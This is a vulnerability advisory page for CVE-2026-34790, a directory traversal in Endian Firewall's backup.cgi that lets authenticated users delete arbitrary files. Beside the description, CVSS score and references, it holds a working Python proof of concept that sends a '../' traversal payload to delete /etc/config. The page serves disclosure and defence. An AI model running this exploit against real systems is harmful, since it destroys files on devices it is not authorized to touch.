CVE-2026-34790

Description

Endian Firewall version 3.3.25 and prior allow authenticated users to delete arbitrary files via directory traversal in the remove ARCHIVE parameter to /cgi-bin/backup.cgi. The remove ARCHIVE parameter value is used to construct a file path without sanitization of directory traversal sequences, which is then passed to an unlink() call.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:endian:firewall_community:*:*:*:*:*:*:*:* - VULNERABLE

Endian Firewall <= 3.3.25

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_url = "http://<target-ip>/cgi-bin/backup.cgi"

# Attacker's session cookie (Authentication required)
session_cookie = {
    "sid": "<valid_session_id>"
}

# Exploit payload: Directory traversal to delete arbitrary file
# Example: Attempting to delete /etc/config
data_payload = {
    "remove": "ARCHIVE",
    "ARCHIVE": "../../../../etc/config"
}

try:
    print(f"Sending exploit request to {target_url}...")
    response = requests.post(target_url, data=data_payload, cookies=session_cookie)
    
    if response.status_code == 200:
        print("Request sent successfully. Check if the file is deleted.")
    else:
        print(f"Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34790
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34790
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34790/
[4] VulDB https://vuldb.com/cve/CVE-2026-34790
[5] https://help.endian.com/hc/en-us/sections/360004371358-Community
[6] https://www.vulncheck.com/advisories/endian-firewall-cgi-bin-backup-cgi-remove-archive-directory-traversal

Raw JSON Data

JSON

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